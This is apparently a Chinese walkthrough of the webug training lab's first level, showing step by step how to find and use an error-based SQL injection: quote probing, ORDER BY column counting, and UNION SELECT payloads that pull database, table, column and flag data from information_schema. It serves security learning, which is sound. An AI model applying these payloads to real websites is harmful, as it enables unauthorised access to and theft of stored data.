首先访问:http://192.168.195.139/control/sqlinject/manifest_error.php?id=1
进入到这个靶场可以通过在url栏id=1处改数字、加单引号、#号、*号等等来判断注入点。
如改成id=2,就会出现以下结果
如果改成id=1) 括号无反应,看来是屏蔽了
id=1" 双引号无反应
id=1'单引号有结果,id=1'就会出现
接着就可以使用二分法来去判断字段数
id=1' order by 5 %23,利用二分法判断,3、5均报错
(mysql有三种注释方法,1、# … 2、-- … 3、/…/,%23是#的url表示)
然而id=1' order by 2 %23正确,可以返回界面。说明字段是2
测到查询结果为两列,接下来看看我们想要的数据在第几列
id=1' union select 1,2 %23
说明会回显第二列的内容,那我们可以通过替换第二列的内容去获取数据库的相关信息。
通过id=3' union select 1,version() %23可以知道数据库版本信息
id=3' union select 1,database() %23可以知道当前的数据库名
查询数据库webug中的表
id=3' union select 1,group_concat(table_name)from information_schema.table where table_schema='webug' %23
查询之后可以发现webug数据库中有个flag数据表
通过id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' %23或者id=3' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' %23
查询flag表中的字段
通过查询flag表中的内容,我们可以知道里面有id,flag两个字段。我们可以使用id=3' union select 1,flag from webug,flag %23
至此webug靶场的第一关显错注入就完成了。
查看当前数据库下有哪些表
id=3' union select 1,group_concat(table_name)from information_schema.tables where table_schema='webug' %23
查看env_list表里有几列
id=3' union select 1,group_concat(column_name)from information_schema.columns where table_name='env_list' and table_schema='webug' %23
查看envFlag下的内容
id=3' union select 1,envFlag from env_list where id=1 %23